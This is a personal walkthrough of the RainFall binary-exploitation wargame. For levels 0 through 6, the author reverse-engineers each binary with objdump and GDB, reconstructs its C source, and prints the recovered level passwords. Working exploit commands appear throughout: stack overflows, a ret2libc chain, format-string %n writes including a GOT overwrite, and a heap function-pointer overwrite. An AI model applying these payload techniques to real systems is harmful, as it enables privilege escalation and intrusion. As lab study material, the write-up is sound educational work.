I set up a VM with the ISO as a masOs 64 bit OS and I got this interface:
Upon entering, I see this getting printed out :
To start, ssh with level0/level0 on 192.168.100.82:4242
level0@192.168.100.82's password:
GCC stack protector support: Enabled
Strict user copy checks: Disabled
Restrict /dev/mem access: Enabled
Restrict /dev/kmem access: Enabled
grsecurity / PaX: No GRKERNSEC
Kernel Heap Hardening: No KERNHEAP
System-wide ASLR (kernel.randomize_va_space): Off (Setting: 0)
RELRO STACK CANARY NX PIE RPATH RUNPATH FILE
No RELRO No canary found NX enabled No PIE No RPATH No RUNPATH /home/user/level0/level0
Had no clue what it meant, so I did some studying and here is the summary.
The program that is ran to generate this output is checksec, which lists down all the in place kernel protections and executable crotections.
GCC stack protector
Strict user copy checks
/dev/mem and /dev/kvm
dev/mem exposes memory-mapped devices in the physical RAM.
the /dev/kmem file enables access to the internal kernel structures.
grsecurity
heap hardening
Below are the file enumerations
Upon launching it with GDB (no .gdbinit btw), I found that it runs atoi in first argv and compares it with 0x1a7 / 423.
and then it strdups /bin/sh sus
I tried running the program with argument set args 423
in GDB. After it strdups
/bin/sh , it calls getegid
, geteuid
, setresgid
and setresuid
is order for privellege escalation.
After that, it calls execv
with /bin/sh
as argument.
For the other way around, if the input is not correct, the program will push the string "No !", 1, 5, and the stderr
function then call fwrite
to print out the error message.
The final code looks abit like this
#include <stddef.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>
# define SHELL "/bin/sh"
int main(int argc, char **argv)
{
char *args[2];
gid_t egid;
uid_t euid;
if (atoi(argv[1]) == 423)
{
// 0x8048ed4
exec_args[0] = strdup(SHELL);
// 0x8048ef0
exec_args[1] = NULL;
//0x8048ef8 - 0x8048f3d
egid = getegid();
euid = geteuid();
setresgid(egid, egid, egid);
setresuid(euid, euid, euid);
// 0x8048f51
execv(SHELL, args);
}
else
{
// 0x8048f58 <main+152> mov 0x80ee170,%eax
// 0x8048f5d <main+157> mov %eax,%edx
// 0x8048f5f <main+159> mov $0x80c5350,%eax
// 0x8048f64 <main+164> mov %edx,0xc(%esp)
// 0x8048f68 <main+168> movl $0x5,0x8(%esp)
// 0x8048f70 <main+176> movl $0x1,0x4(%esp)
// 0x8048f78 <main+184> mov %eax,(%esp)
// 0x8048f7b <main+187> call 0x804a230 <fwrite>
fwrite("No !\n", 1, 5, stderr);
}
return 0;
}
I launched the program in another shell with 423 as the argument and it worked, the password for level1 is 1fe8a524fa4bec01ca4ea2a869af2a02260d4a7d5fe7e7c24d8617e6dca12d3a
The binary for level1 takes in some input via stdin, and does nothing according to strace.
This is also confirmed when the input is passed in and ran via GDB run params < /tmp/test
.
Which gives us a simple source
#include <stdio.h>
int main()
{
char buff[0x50]; // ?
// 0x8048490
gets(buff);
}
There are still some unknowns, I still cant confirm the actual size of the buffer, or why does the ESP masks to 0xfffffff0 at the start (as seen in the above screenshot). Luckily, I found a way to disassemble the code without launching gdb everytime, by using objdump -M intel -d filename
.
Here, I can see an overview of the program which also includes a run function that executes fwrite and system sus, and a dummy frame.
According to this blog, the frame_dummy
is used for
exception handling and reconstructing stack frames to aid debugging and stack forensics
The 0xfffffff0 masking for the ESP is used for alignment, as suggested in this SO for performance and compatibility purposes (SSE compatibility).
And using the information above, we can determine the size of the buffer according to how the stack frame is formed.
The frame pointer (ebp) is 4 bytes as well as the return address, and the stack alignment is 8 bytes. Hence the size of the buffer (assuming its the only local variable) will be the address of esp - ebp, and the length needed to overwrite the return address (eip) for a buffer overflow attack will be the size of the buffer + frame pointer + stack alignment.
lets look at the assmebly again ;
8048486: 83 ec 50 sub esp,0x50
8048489: 8d 44 24 10 lea eax,[esp+0x10]
804848d: 89 04 24 mov DWORD PTR [esp],eax
8048490: e8 ab fe ff ff call 8048340 <gets@plt>
from the snippet above, we can see that the stack allocated 0x50 bytes using the sub opcpde, however its not the case according to this article where the system actually allocates to the nearest power of 2 for alignment. But at least we know our buffer size is less than 0x50 now.
In the next line, we can see that lea eax,[esp+0x10]
is loading the current esi address - 0x10 (stack grows downwards) to eax, to prepare the gets
call. And according to gets manual, the argument accepts will be a buffer. Hence the size of the buffer can be deduced as 0x50 - 0x10
= 64 in decimal.
To overwrite the eip, we need to have at least 64 + 8 + 4 + 1 = 77 bytes of data.
python -c "print('B' * 77)" > /tmp/test
to get the test input to overwrite eip.
As we can see, the last two bytes of the saved eip is now 42. But what do we replace the saved EIP with? Remeber the run function earlier? The address is 0x8048444
. We can change our input file to python -c "print('B' * 76 + '\x44\x84\x04\x08')" > /tmp/test
to test. (inverted address cuz little endian)
We're kinda there now, looks like we need to look at the run
function to see what it does
For the arguments to fwrite, they are passing in fwrite("Good... Wait what?", 0x1, 0x13, stdout)
.
for the args to system, they are system("/bin/sh")
.
But why I dont get a shell? Prehaps its not execve?
Upon looking at the man page, I see that
system() executes a command specified in command by calling /bin/sh -c command
With that said, the source of the bianry should look like
#include <stdio.h>
#include <stdlib.h>
# define MSG "Good... Wait what?"
# define SHELL "/bin/sh"
//0x8048444
void run()
{
// 0x804846d
fwrite(MSG , 0x1, 0x13, stdout);
// 0x8048479
system(SHELL);
}
int main()
{
// 0x8048486
char buff[64];
// 0x8048490
gets(buff);
}
and according to the SO, system does not replace the current process. Which means I need to find a way to keep stdin open so that system can read input.
I tried this command
(python -c "print('B' * 76 + '\x44\x84\x04\x08')" ; cat )| ./level1
and it worked.
The password for the next level is 53a4a712787f40ec66c3c26c1f4b164dcad5552b038bb0addd69bf5bf6fa8e77
On the surface, it looks like the program here is similar to the past level, where it takes in an input and prints it. The objdump of the program is the following :
Its a main function that does stack alignment and calls function p
without any input.
the p
function however, does alot of things.
after setting up the stack frame, it loads stdout into the first argument of fflush
and calls it.
After fflush returns, a pointer at the address ebp - 0x4c
is loaded to the first argument to gets()
@ 0x80448ed
and calls it. With this information, we know that a buffer starts at ebp - 0x4c
now.
After gets returned, it seems like the saved EIP is extracted and put into eax, which is put into a value in the stack with the address ebp - 0xc
. The saved EIP is then masked to match 0xb0000000, which if its equals, printf
is called followed by exit
. The function will not call the saved EIP.
And according to this manual, the function __builtin_return_address
returns the save EIP of the current function, which might be 0x80484f2
is doing.
If its not equal however, it loads the buffer which is written by gets()
into the first argument of puts then it is called.
The buffer from gets()
is also loaded into the first argument of strdup, which is called and returned to the parent since there are no writes to eax
.
After looking at the stack allocations, we are also able to determine the size of the buffer.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
void p()
{
// 0x80484e7
char buffer[64];
void *saved_eip
// 0x80484e2
fflush(stdout);
// 0x80484ed
gets(buffer);
// 0x80484f2 - 0x80484f5
saved_eip = __builtin_return_address(0);
if ((saved_eip & 0xb0000000) == 0xb0000000)
{
printf("%x\n", saved_eip);
exit(1);
}
// 0x8048500
if (((unsigned long)saved_eip & 0xb0000000) == 0xb0000000)
{
// 0x8048516
printf("(%p)\n", saved_eip);
exit(1);
}
// 0x804852d
puts(buffer);
// 0x8048538
return strdup(buffer);
}
int main()
{
p();
}
First off, with any buffer overflow exploit, we need to determine the offset to the EIP. Using information from this level and last level, our offset should be
sizeof buffer + sizeof saved_eip + sizeof ebp
=>
64 + 12 + 4 = 80
Notice there is no stack alignemnt as we dont see and 0xfffffff0
. And we can verify it like so by comparing the input length of 81
and 80
Looking at the program behaviour, we are not supposed to overwrite the EIP to any instruction pointer in the program since the program code all starts with 0x8000000. Trying to do so will cause exit()
to be called instead of return, which means the EIP wont be read.
To circumvent this, we pass the libc function system()
as the return address override instead, also providing its inputs on the stack. AKA ret2libc
To get the pointer to the system()
function, create a program that calls system()
, open it in gdb and use the print
command to display the value of the system()
function, which will be a instruction pointer 0xb7e6b060
After that, we have to find a way to populate the parameters of the function. Since libC functions reads inputs return addresses and inputs from the stack, The first 4 bytes is the return address, we dont want to return anything, so we just put random bytes BEEF
. the next 4 bytes should be a string, which is a pointer to a character sequence, which we can utilize the environment variables like so:
// getenv.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char *argv[]) {
char *ptr;
if(argc < 3) {
printf("Usage: %s <environment var> <target program name>\n", argv[0]);
exit(0);
}
ptr = getenv(argv[1]); /* Get env var location. */
ptr += (strlen(argv[0]) - strlen(argv[2]))*2; /* Adjust for program name. */
printf("%s will be at %p\n", argv[1], ptr);
}
level2@RainFall:/tmp$ gcc getenv.c; ./a.out BINSH ./level2
BINSH will be at 0xbfffff38
level2@RainFall:/tmp$
we are able to predict the address because environment variables are stored at the start of the stack frame which is relative of the programs name, which gives us 0xbfffff38
So, our input shall be
python -c "print 'B' * 80 + '\xb7\xe6\xb0\x60'[::-1] + 'BEEF' + '\xbf\xff\xff\x38'[::-1]" > /tmp/out
OOPS, I forgot about the check stack check earlier at 0x80484f2 - 0x80484f5
and I got the printf output.
level2@RainFall:~$ ./level2 < /tmp/out
(0xb7e6b060)
Based on this SO post, .so objects are loaded into mmaped memory (stack) during runtime, hence failing the check.
I digged around the acutal working of the lea
and ret
instruction and here are the things they do according to this and this.
The leave instruction does the following:
The ret instruction does not take any operands and its operation is as follows:
As we can see, the lea
and ret
command pops from the stack, slowly consuming it. The lea
command does not check if the value it pops is valid or not, neither does ret
. It just assumes that all the data it popped is in the correct position and just writes to the registers.
With this knowledge, we are able to chain ret
calls to bypass the stack check like so:
To prove that, I made the input command using the command below. the '\x08\x04\x85\x3e'[::-1]
s are addresses to the ret
instructions.
python -c "print 'B' * 80 + '\x08\x04\x85\x3e'[::-1] + '\xb7\xe6\xb0\x60'[::-1] + 'BEEF' + '\xbf\xff\xff\x38'[::-1]" > /tmp/out
After that, I launch the program with stdin open using
cat /tmp/out - | ./level2
and it works. The flag is 492deb0e7d14c4b5695173cca843c4384fe52d0857c2b0718e1a521a4d33ec02
And the final source code is
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char * p()
{
// 0x80484e7
char buffer[64];
void *saved_eip
// 0x80484e2
fflush(stdout);
// 0x80484ed
gets(buffer);
// 0x80484f2 - 0x80484f5
saved_eip = __builtin_return_address(0);
if ((saved_eip & 0xb0000000) == 0xb0000000)
{
printf("%x\n", saved_eip);
exit(1);
}
// 0x8048500
if (((unsigned long)saved_eip & 0xb0000000) == 0xb0000000)
{
// 0x8048516
printf("(%p)\n", saved_eip);
exit(1);
}
// 0x804852d
puts(buffer);
// 0x8048538
return strdup(buffer);
}
int main()
{
p();
}
Below is the objdump
of the level3 program
080484a4 <v>:
80484a4: 55 push ebp
80484a5: 89 e5 mov ebp,esp
80484a7: 81 ec 18 02 00 00 sub esp,0x218
80484ad: a1 60 98 04 08 mov eax,ds:0x8049860
80484b2: 89 44 24 08 mov DWORD PTR [esp+0x8],eax
80484b6: c7 44 24 04 00 02 00 mov DWORD PTR [esp+0x4],0x200
80484bd: 00
80484be: 8d 85 f8 fd ff ff lea eax,[ebp-0x208]
80484c4: 89 04 24 mov DWORD PTR [esp],eax
80484c7: e8 d4 fe ff ff call 80483a0 <fgets@plt>
80484cc: 8d 85 f8 fd ff ff lea eax,[ebp-0x208]
80484d2: 89 04 24 mov DWORD PTR [esp],eax
80484d5: e8 b6 fe ff ff call 8048390 <printf@plt>
80484da: a1 8c 98 04 08 mov eax,ds:0x804988c
80484df: 83 f8 40 cmp eax,0x40
80484e2: 75 34 jne 8048518 <v+0x74>
80484e4: a1 80 98 04 08 mov eax,ds:0x8049880
80484e9: 89 c2 mov edx,eax
80484eb: b8 00 86 04 08 mov eax,0x8048600
80484f0: 89 54 24 0c mov DWORD PTR [esp+0xc],edx
80484f4: c7 44 24 08 0c 00 00 mov DWORD PTR [esp+0x8],0xc
80484fb: 00
80484fc: c7 44 24 04 01 00 00 mov DWORD PTR [esp+0x4],0x1
8048503: 00
8048504: 89 04 24 mov DWORD PTR [esp],eax
8048507: e8 a4 fe ff ff call 80483b0 <fwrite@plt>
804850c: c7 04 24 0d 86 04 08 mov DWORD PTR [esp],0x804860d
8048513: e8 a8 fe ff ff call 80483c0 <system@plt>
8048518: c9 leave
8048519: c3 ret
0804851a <main>:
804851a: 55 push ebp
804851b: 89 e5 mov ebp,esp
804851d: 83 e4 f0 and esp,0xfffffff0
8048520: e8 7f ff ff ff call 80484a4 <v>
8048525: c9 leave
8048526: c3 ret
8048527: 90 nop
8048528: 90 nop
8048529: 90 nop
804852a: 90 nop
804852b: 90 nop
804852c: 90 nop
804852d: 90 nop
804852e: 90 nop
804852f: 90 nop
Looks lke a typical main function call at 0804851a
, with the stack alignment and a function call to v
.
In v
, Some space are allocated to the stack, it
stdin
from the data segmanet, prepares to call fgets to read from stdin of 0x200 (512) bytes into the bufferfrwite("Wait what?", 0xc, 0x1, stdout)
system("/bin/sh")
Looks quite straightforward, we need to find a wait to overwrite the instruction at address 0x804988c
to 0x40
to trigger the shell. I tried an insanely long buffer but it didnt work, the address still cant be overwritten becuase fgets only accept up to 200 charcaters.
I also noticed that the printf call after fgets is using the buffer as the first argument [ebp-0x208]
as supposed to a format string, which leaves us the oppurtinuty for a format string exploit
Section 0x354 of this this book gives a detailed explanation on how this works.
In this particular example here, if the printf function takes a string %s
as the first argument and the user input as the second, the output is identical to the first attempt which is expected behaviour.
However if the printf call takes the user input as the first argument, we will see output similar to the second attempt. This is becase when we include format arguments in the string, it will try to take action and read from the stack.
To this this, i decided to look into this on my own at the program. I tried to print out the next few items on the stack as hex and this is what I got.
I inspected the address and indeed, I do see some values which correspond the stack, like the size 0x200 from fgets earlier, the stdin struct that was pushed by fgets.
The stack also contained data from libc_memalogn, but as of now im bot sure where the source is from.
In printf, there is a specific format specifier %n
that writes how many bytes have been printed out so far to a va_arg. Since we know we can access memory addresses using other format specifiers, The strategy is to format printf to print enough characters to reach the 0x804988c
mark and write the value 64 to it. If we notice in the output BBBBBB 200 b7fd1ac0 b7ff37d0 42424242 25204242 78252078
, the BBBBBB
segment is also stored in the stack after 8 bytes as 42424242
, and after specifying %x 3 times.
To access the same address, we can replace BBBBBB
with the actual hex address 0x804988c
, specify format %x 3 times and use %n formatter to write to the data in that address.
So our input will be something like
python -c "print '\x08\x04\x98\x8c'[::-1] + '%x %x %x %n'" > /tmp/hello
.
After running the input, we are able to see that 0x804988c
had been overwritten. Now, we need to make it so that we are able to overwrite to the value 64.
To do that, I tried to add more characters before the %n python -c "print '\x08\x04\x98\x8c'[::-1] + 'B' * 38 + '%x %x %x %n'" > /tmp/hello
and I got the Wait What message in the stdout, which means now all i nede to do is to keep stdin open
Im in the shell, and the password is b209ea91ad69ef36f2cf0fcbbc24c739fd10464cf545b20bea8572ebdc3c36fa
Using the steps above, the source code should be
#include <stdio.h>
#include <stdlib.h>
static int g_var = 0;
void v()
{
// 80484a7
char buf[512];
// 80484c7
fgets(buf, 512, stdin);
// 80484d5
printf(buf);
if (g_var != 0x40)
return;
// 8048507
fwrite("Wait what?!", 0xc, 0x1, stdout);
system("/bin/sh");
}
int main()
{
v();
}
Here is the objdump for the level4 application
08048444 <p>:
8048444: 55 push ebp
8048445: 89 e5 mov ebp,esp
8048447: 83 ec 18 sub esp,0x18
804844a: 8b 45 08 mov eax,DWORD PTR [ebp+0x8]
804844d: 89 04 24 mov DWORD PTR [esp],eax
8048450: e8 eb fe ff ff call 8048340 <printf@plt>
8048455: c9 leave
8048456: c3 ret
08048457 <n>:
8048457: 55 push ebp
8048458: 89 e5 mov ebp,esp
804845a: 81 ec 18 02 00 00 sub esp,0x218
8048460: a1 04 98 04 08 mov eax,ds:0x8049804
8048465: 89 44 24 08 mov DWORD PTR [esp+0x8],eax
8048469: c7 44 24 04 00 02 00 mov DWORD PTR [esp+0x4],0x200
8048470: 00
8048471: 8d 85 f8 fd ff ff lea eax,[ebp-0x208]
8048477: 89 04 24 mov DWORD PTR [esp],eax
804847a: e8 d1 fe ff ff call 8048350 <fgets@plt>
804847f: 8d 85 f8 fd ff ff lea eax,[ebp-0x208]
8048485: 89 04 24 mov DWORD PTR [esp],eax
8048488: e8 b7 ff ff ff call 8048444 <p>
804848d: a1 10 98 04 08 mov eax,ds:0x8049810
8048492: 3d 44 55 02 01 cmp eax,0x1025544
8048497: 75 0c jne 80484a5 <n+0x4e>
8048499: c7 04 24 90 85 04 08 mov DWORD PTR [esp],0x8048590
80484a0: e8 bb fe ff ff call 8048360 <system@plt>
80484a5: c9 leave
80484a6: c3 ret
080484a7 <main>:
80484a7: 55 push ebp
80484a8: 89 e5 mov ebp,esp
80484aa: 83 e4 f0 and esp,0xfffffff0
80484ad: e8 a5 ff ff ff call 8048457 <n>
80484b2: c9 leave
80484b3: c3 ret
80484b4: 90 nop
80484b5: 90 nop
80484b6: 90 nop
80484b7: 90 nop
80484b8: 90 nop
80484b9: 90 nop
80484ba: 90 nop
80484bb: 90 nop
80484bc: 90 nop
80484bd: 90 nop
80484be: 90 nop
80484bf: 90 nop
From the objdump, I deduced that the source code looks something like this
#include <stdio.h>
#include <stdlib.h>
static int g_var = 0;
void p(char *buffer)
{
printf(buffer);
}
void n()
{
// 804845a
char buf[512]; // 0x200
// 804847a
fgets(buf, 512, stdin);
// 804847a
p(buf);
if (g_var + 12 != 0x1025544)
return;
system("/bin/sh");
}
int main()
{
n()
}
This is quite similar to level3, there is an unsafe printf and we are tasked to overwrite the data address 0x08049810
to value 0x01025544
or 16930116
in decimal. This value is too large for us to print out manually as fgets only reads up to 512 characters. We will need to fill in the values using several writes.
According to this example from the book, we are able to write into contigious bytes like so.
Because of the little endianess, we will first need to reverse the order of the value to 0x44550201
, then, we can map out the values we want to write to which addresses.
0x08049810 - 0x44
0x08049811 - 0x55
0x08049812 - 0x02
0x08049813 - 0x01
And we also need to know how much do we need to traverse in the stack to reach those addresses to reach 0x08049810
, so I tested them out and I got
BBBB b7ff26b0 bffff754 b7fd0ff4 0 0 bffff718 804848d bffff510 200 b7fd1ac0 b7ff37d0 42424242 20782520 25207825 78252078 20782520 25207825 78252078 20782520 25207825
This shows that i need to format %x 11 times to get to the values of the first argument. Now lets try writing to them in the actual address to verify the ordering. With the input as python -c "print '\x08\x04\x98\x10'[::-1] + '\x08\x04\x98\x11'[::-1] + '%x ' * 11 + '%n %n'"> /tmp/level4
, we manage to observe the address being written as below, which proves the ordering correct.
I believe all of this information is sufficient for us to actually write the values. However, we are not able to use %n for its intented purposes to count bytes, since the minimum characters to reach the address already exceeds 0x44
Looking at this blog, it shows that printf has something called direct paremeter access which allows us to access certain parameters without needing to format them one by one beforehand. Its syntax looks like this - %7$x
where it means Access the 7th argument as a hex. This can help cut down the bytes below the minimum. To apply this change, we can change out input like so python -c "print '\x08\x04\x98\x10'[::-1] + '\x08\x04\x98\x11'[::-1] + 'B' * 60 + '%12\$n' + 'B' * 16 + '%13\$n'"> /tmp/level4
As we can see, we are able to nail the 44
and 55
requirement. However, we cant use the say way to do 02
and 01
, since the values printed by %n can only increase.
To circumvent this, we can "wrap" the two values together to one. Making out mapping change like so.
0x08049810 - 0x44
0x08049811 - 0x55
0x08049812 - 0x102
Which changes the input to -
python -c "print '\x08\x04\x98\x10'[::-1] + '\x08\x04\x98\x11'[::-1] + '\x08\x04\x98\x12'[::-1] + 'B' * 56 + '%12\$n' + 'B' * 17 + '%13\$n' + 'B' * 173 + '%14\$n'"> /tmp/level4
And there we have it, the final value of the global static.
The password was printed on execution.
0f99ba5e9c446258a69b290407a6c60859e9c2d25b26575cafc9ae6d75e9456a
Below is an objdump for the level5 program.
080484a4 <o>:
80484a4: 55 push ebp
80484a5: 89 e5 mov ebp,esp
80484a7: 83 ec 18 sub esp,0x18
80484aa: c7 04 24 f0 85 04 08 mov DWORD PTR [esp],0x80485f0
80484b1: e8 fa fe ff ff call 80483b0 <system@plt>
80484b6: c7 04 24 01 00 00 00 mov DWORD PTR [esp],0x1
80484bd: e8 ce fe ff ff call 8048390 <_exit@plt>
080484c2 <n>:
80484c2: 55 push ebp
80484c3: 89 e5 mov ebp,esp
80484c5: 81 ec 18 02 00 00 sub esp,0x218
80484cb: a1 48 98 04 08 mov eax,ds:0x8049848
80484d0: 89 44 24 08 mov DWORD PTR [esp+0x8],eax
80484d4: c7 44 24 04 00 02 00 mov DWORD PTR [esp+0x4],0x200
80484db: 00
80484dc: 8d 85 f8 fd ff ff lea eax,[ebp-0x208]
80484e2: 89 04 24 mov DWORD PTR [esp],eax
80484e5: e8 b6 fe ff ff call 80483a0 <fgets@plt>
80484ea: 8d 85 f8 fd ff ff lea eax,[ebp-0x208]
80484f0: 89 04 24 mov DWORD PTR [esp],eax
80484f3: e8 88 fe ff ff call 8048380 <printf@plt>
80484f8: c7 04 24 01 00 00 00 mov DWORD PTR [esp],0x1
80484ff: e8 cc fe ff ff call 80483d0 <exit@plt>
08048504 <main>:
8048504: 55 push ebp
8048505: 89 e5 mov ebp,esp
8048507: 83 e4 f0 and esp,0xfffffff0
804850a: e8 b3 ff ff ff call 80484c2 <n>
804850f: c9 leave
8048510: c3 ret
8048511: 90 nop
8048512: 90 nop
8048513: 90 nop
8048514: 90 nop
8048515: 90 nop
8048516: 90 nop
8048517: 90 nop
8048518: 90 nop
8048519: 90 nop
804851a: 90 nop
804851b: 90 nop
804851c: 90 nop
804851d: 90 nop
804851e: 90 nop
804851f: 90 nop
Based on the dump, the source code can de deduced like so
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void o()
{
// 80484b1
system("/bin/sh");
}
void n()
{
char buf[512];
// 80484e5
fgets(buf, 512, stdin);
// 80484f3
printf(buf);
exit(1);
}
int main()
{
// 804850a
n();
}
This is abit tricky, as after the format string vuln at printf follows an exit call, which ignores the saved EIP.
I tried to look for .dtor function as suggested by the book, but there is no avail, however, the Overwriting the Global Offset Table did mention something
This implies that we are able to manipulate the jump instructions for the exit() function to jump somewhere else, potentially to shellcode..
This is a special section in compiled programs called the PLT (procedure linkage table) which consists of many jump instructions, each one corresponding to the address of a function. Each time a shared function needs to be called, control will pass through the PLT.
The PLT section of our binary looks like this
Disassembly of section .plt:
08048370 <printf@plt-0x10>:
8048370: ff 35 1c 98 04 08 push DWORD PTR ds:0x804981c
8048376: ff 25 20 98 04 08 jmp DWORD PTR ds:0x8049820
804837c: 00 00 add BYTE PTR [eax],al
...
08048380 <printf@plt>:
8048380: ff 25 24 98 04 08 jmp DWORD PTR ds:0x8049824
8048386: 68 00 00 00 00 push 0x0
804838b: e9 e0 ff ff ff jmp 8048370 <_init+0x3c>
08048390 <_exit@plt>:
8048390: ff 25 28 98 04 08 jmp DWORD PTR ds:0x8049828
8048396: 68 08 00 00 00 push 0x8
804839b: e9 d0 ff ff ff jmp 8048370 <_init+0x3c>
080483a0 <fgets@plt>:
80483a0: ff 25 2c 98 04 08 jmp DWORD PTR ds:0x804982c
80483a6: 68 10 00 00 00 push 0x10
80483ab: e9 c0 ff ff ff jmp 8048370 <_init+0x3c>
080483b0 <system@plt>:
80483b0: ff 25 30 98 04 08 jmp DWORD PTR ds:0x8049830
80483b6: 68 18 00 00 00 push 0x18
80483bb: e9 b0 ff ff ff jmp 8048370 <_init+0x3c>
080483c0 <__gmon_start__@plt>:
80483c0: ff 25 34 98 04 08 jmp DWORD PTR ds:0x8049834
80483c6: 68 20 00 00 00 push 0x20
80483cb: e9 a0 ff ff ff jmp 8048370 <_init+0x3c>
080483d0 <exit@plt>:
80483d0: ff 25 38 98 04 08 jmp DWORD PTR ds:0x8049838
80483d6: 68 28 00 00 00 push 0x28
80483db: e9 90 ff ff ff jmp 8048370 <_init+0x3c>
080483e0 <__libc_start_main@plt>:
80483e0: ff 25 3c 98 04 08 jmp DWORD PTR ds:0x804983c
80483e6: 68 30 00 00 00 push 0x30
80483eb: e9 80 ff ff ff jmp 8048370 <_init+0x3c>
as we can see, it contains all the jump instruction for our standard library calls. In most cases, the PLT of programs are read only, which can be checked like so
level5@RainFall:~$ objdump -h ./level5 | grep -A1 "\ .plt\ "
11 .plt 00000080 08048370 08048370 00000370 2**4
CONTENTS, ALLOC, LOAD, READONLY, CODE
level5@RainFall:~$
However, upon closer inspection, the address that the PLT entries jump to isnt to the function instruction themselves, but rather pointers to the function instructions (notice how they derefrences the addresses when jumping). These addresses exist in another section, called the global offset table (GOT), which is writable. These addresses can be directly obtained by displaying the dynamic relocation entries for the binary by using objdump. objdump -R ./level5
./level5: file format elf32-i386
DYNAMIC RELOCATION RECORDS
OFFSET TYPE VALUE
08049814 R_386_GLOB_DAT __gmon_start__
08049848 R_386_COPY stdin
08049824 R_386_JUMP_SLOT printf
08049828 R_386_JUMP_SLOT _exit
0804982c R_386_JUMP_SLOT fgets
08049830 R_386_JUMP_SLOT system
08049834 R_386_JUMP_SLOT __gmon_start__
08049838 R_386_JUMP_SLOT exit
0804983c R_386_JUMP_SLOT __libc_start_main
This shows that the address 0x08049838
will be onw one getting called. We can overwrite the value of this address using printf to the instruction for the o()
function, which is 0x080484a4
based on the disassembly objdump.
Now we know where to write to and what to write, its time to go over the procesures of
The mapping/segmentation 080484a4
should look like this
0x08049838 - 0x4a4
0x08049839 - 0x8048
with the input BBBB%x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x
, I got this output BBBB200 b7fd1ac0 b7ff37d0 42424242 25207825 78252078 20782520 25207825 78252078 20782520 25207825 78252078 20782520 25207825 78252078 20782520 25207825 78252078 20782520 a
, which indicates that the first args value is at the foruth call of %x.
Using the following input
python -c "print '\x08\x04\x98\x38'[::-1] + '\x08\x04\x98\x3a'[::-1] + '%1180x' + '%4\$n' + '%31652x' + '%5\$n'" > /tmp/level5
, I did not get the results I want. Because by default, %n writes 4 bytes, which causes overlaps on smaller values
So, we need to find a way to make it so that the values dont overlap each other. There is a way to make %n write as short, using %hhn for 1 byte, and %hn for 2 bytes.
The new mapping/segmentation 080484a4
should look like this
0x08049839 - 0x84
0x08049838 - 0xa4
0x0804983a - 0x804
As well as the new input
python -c "print '\x08\x04\x98\x39'[::-1] + '\x08\x04\x98\x38'[::-1] + '\x08\x04\x98\x3a'[::-1] + '%120x' + '%4\$hhn' + '%32x' + '%5\$hhn' + '%1888x' + '%6\$n' " > /tmp/level5
And viola, we got ourselves the overwrite we want. Now to open stdin to the program..
The password is
d3b7bf1025225bd715fa8ccb54ef06ca70b9125ac855aeab4878217177f41a31
Below is the objdump for level6
08048454 <n>:
8048454: 55 push ebp
8048455: 89 e5 mov ebp,esp
8048457: 83 ec 18 sub esp,0x18
804845a: c7 04 24 b0 85 04 08 mov DWORD PTR [esp],0x80485b0
8048461: e8 0a ff ff ff call 8048370 <system@plt>
8048466: c9 leave
8048467: c3 ret
08048468 <m>:
8048468: 55 push ebp
8048469: 89 e5 mov ebp,esp
804846b: 83 ec 18 sub esp,0x18
804846e: c7 04 24 d1 85 04 08 mov DWORD PTR [esp],0x80485d1
8048475: e8 e6 fe ff ff call 8048360 <puts@plt>
804847a: c9 leave
804847b: c3 ret
0804847c <main>:
804847c: 55 push ebp
804847d: 89 e5 mov ebp,esp
804847f: 83 e4 f0 and esp,0xfffffff0
8048482: 83 ec 20 sub esp,0x20
8048485: c7 04 24 40 00 00 00 mov DWORD PTR [esp],0x40
804848c: e8 bf fe ff ff call 8048350 <malloc@plt>
8048491: 89 44 24 1c mov DWORD PTR [esp+0x1c],eax
8048495: c7 04 24 04 00 00 00 mov DWORD PTR [esp],0x4
804849c: e8 af fe ff ff call 8048350 <malloc@plt>
80484a1: 89 44 24 18 mov DWORD PTR [esp+0x18],eax
80484a5: ba 68 84 04 08 mov edx,0x8048468
80484aa: 8b 44 24 18 mov eax,DWORD PTR [esp+0x18]
80484ae: 89 10 mov DWORD PTR [eax],edx
80484b0: 8b 45 0c mov eax,DWORD PTR [ebp+0xc]
80484b3: 83 c0 04 add eax,0x4
80484b6: 8b 00 mov eax,DWORD PTR [eax]
80484b8: 89 c2 mov edx,eax
80484ba: 8b 44 24 1c mov eax,DWORD PTR [esp+0x1c]
80484be: 89 54 24 04 mov DWORD PTR [esp+0x4],edx
80484c2: 89 04 24 mov DWORD PTR [esp],eax
80484c5: e8 76 fe ff ff call 8048340 <strcpy@plt>
80484ca: 8b 44 24 18 mov eax,DWORD PTR [esp+0x18]
80484ce: 8b 00 mov eax,DWORD PTR [eax]
80484d0: ff d0 call eax
80484d2: c9 leave
80484d3: c3 ret
80484d4: 90 nop
80484d5: 90 nop
80484d6: 90 nop
80484d7: 90 nop
80484d8: 90 nop
80484d9: 90 nop
80484da: 90 nop
80484db: 90 nop
80484dc: 90 nop
80484dd: 90 nop
80484de: 90 nop
80484df: 90 nop
Looking at the object jump, the code looks something like this
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
// 08048454
void n()
{
system("/bin/cat /home/user/level7/.pass");
}
// 08048468
void m()
{
puts("Nope");
}
int main()
{
// 8048482
char *ptr1;
void* fn_ptr;
// 804848c
ptr1 = malloc(64);
// 804849c
fn_ptr = malloc(4);
// 80484a5 - 80484ae
*fn_ptr = m;
// 80484ba - 80484c5
strcpy(ptr1, argv[1]);
// 80484ce - 80484d0
(*fn_ptr)();
}
Looks like we have a heap overflow vulnerability here. Heap overflow mechanics work silimar to stack overflows, except that they are iverted and have space between elements. The procesure will be similar, we will execute the following steps:
For the first step, I generated my input using the script python -c "print 'B' * 73"
, which goves me the offset. I also learnt to do direct derefrencing using x/10x *(int *)($esp+0x18)
to validate results
The offset is 72, now I will append the address in my input to overwrite the function pointer with value 08048454
. python -c "print 'B' * 72 + '\x08\x04\x84\x54'[::-1]"
. The password is f73dcb7a06f60e3ccc608990b0a046359d42a1a0489ffeefd0d9cb2d7c9cb82d
level6@RainFall:~$ ./level6 `python -c "print 'B' * 72 + '\x08\x04\x84\x54'[::-1]"`
f73dcb7a06f60e3ccc608990b0a046359d42a1a0489ffeefd0d9cb2d7c9cb82d
level6@RainFall:~$
below is the objdump for level7 0x80486e0, 0x8049960
080484f4 <m>:
